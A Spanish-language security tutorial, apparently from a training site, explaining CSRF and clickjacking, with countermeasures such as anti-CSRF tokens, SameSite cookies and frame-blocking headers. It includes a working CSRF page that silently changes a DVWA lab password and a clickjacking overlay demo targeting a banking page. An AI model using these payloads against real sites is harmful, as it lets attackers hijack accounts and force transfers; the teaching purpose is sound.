CSRF y Clickjacking

Estudio práctico de las vulnerabilidades CSRF (Cross-Site Request Forgery) y Clickjacking (UI Redressing), su explotación en DVWA y sus contramedidas. Ambas técnicas abusan de la confianza que una aplicación web tiene en el navegador del usuario.

1. CSRF — Falsificación de Petición en Sitios Cruzados

En un ataque CSRF, el atacante engaña a un usuario autenticado para que ejecute acciones no deseadas (como cambiar su contraseña o transferir dinero) en una aplicación web donde la víctima ya tiene una sesión activa.

El problema de las "Ambient Credentials"

El CSRF existe por cómo funcionan los navegadores web: si tienes sesión iniciada en banco.com y navegas a web-maliciosa.com, si esta última web envía una petición oculta de vuelta a banco.com, tu navegador adjuntará automáticamente tus cookies de sesión a esa petición. El banco pensará que fuiste tú quien hizo la solicitud legítimamente.

Explotación en DVWA (nivel low)

Si la web no requiere un "token" único por cada formulario, podemos predecir los parámetros y forzar su envío mediante JavaScript tan pronto como la víctima abra nuestro enlace:

<!-- Página maliciosa alojada por el atacante -->
<!-- El evento onload hace que el formulario se envíe instantáneamente sin interacción -->
<html>
<body onload="document.forms[0].submit()">
  <h1>Cargando video de gatitos...</h1>
  <form action="http://10.0.2.4/dvwa/vulnerabilities/csrf/" method="GET" style="display:none;">
    <input type="hidden" name="password_new" value="hackeado">
    <input type="hidden" name="password_conf" value="hackeado">
    <input type="hidden" name="Change" value="Change">
  </form>
</body>
</html>

🔴 Laboratorio CSRF Activo

Entra al simulador bancario y demuestra que sabes crear un payload HTML malicioso (PoC) capaz de forzar una transferencia de fondos abusando del navegador de la víctima.

>_ INICIAR RETO CTF 04

Contramedidas Anti-CSRF

Tokens Anti-CSRF (Sincronizador de Tokens): La defensa principal. Un valor aleatorio e impredecible generado en el servidor que debe incluirse en cada formulario. El atacante, al estar en otro dominio, no puede leer ni adivinar este token.
Atributo SameSite en Cookies: Configurar SameSite=Lax o Strict evita que el navegador envíe las cookies de sesión si la petición se origina desde un dominio externo.

2. Clickjacking (UI Redressing)

A diferencia del CSRF que actúa "por debajo", el Clickjacking es un ataque visual. El atacante superpone un marco invisible (iframe) que contiene una página legítima (ej: tu banco) justo encima de un botón inofensivo de la web maliciosa. El usuario cree que está haciendo clic en "Gana un premio", pero en realidad está haciendo clic en "Confirmar Transferencia" de su banco.

Demostración de Opacidad en CSS

<!-- El atacante enmarca la web vulnerable -->
<style>
  iframe {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    opacity: 0.0001;   /* Prácticamente invisible, pero el clic funciona */
    z-index: 999;      /* Forzamos que esté por encima de todo */
  }
  .boton-cebo {
    position: absolute; top: 200px; left: 300px; z-index: 1;
  }
</style>

<div class="boton-cebo">¡Haz clic para ver el contenido!</div>
<iframe src="https://banco.com/confirmar-transferencia"></iframe>

Contramedidas Anti-Clickjacking

La web legítima debe decirle al navegador: "No permitas que mi sitio sea renderizado dentro de un iframe". Esto se logra enviando cabeceras HTTP específicas:

# 1. Content Security Policy (El estándar moderno y preferido):
Header set Content-Security-Policy "frame-ancestors 'none';"

# 2. X-Frame-Options (Soporte para navegadores antiguos):
Header set X-Frame-Options "DENY"
# o SAMEORIGIN si necesitas enmarcarlo dentro de tu propio dominio.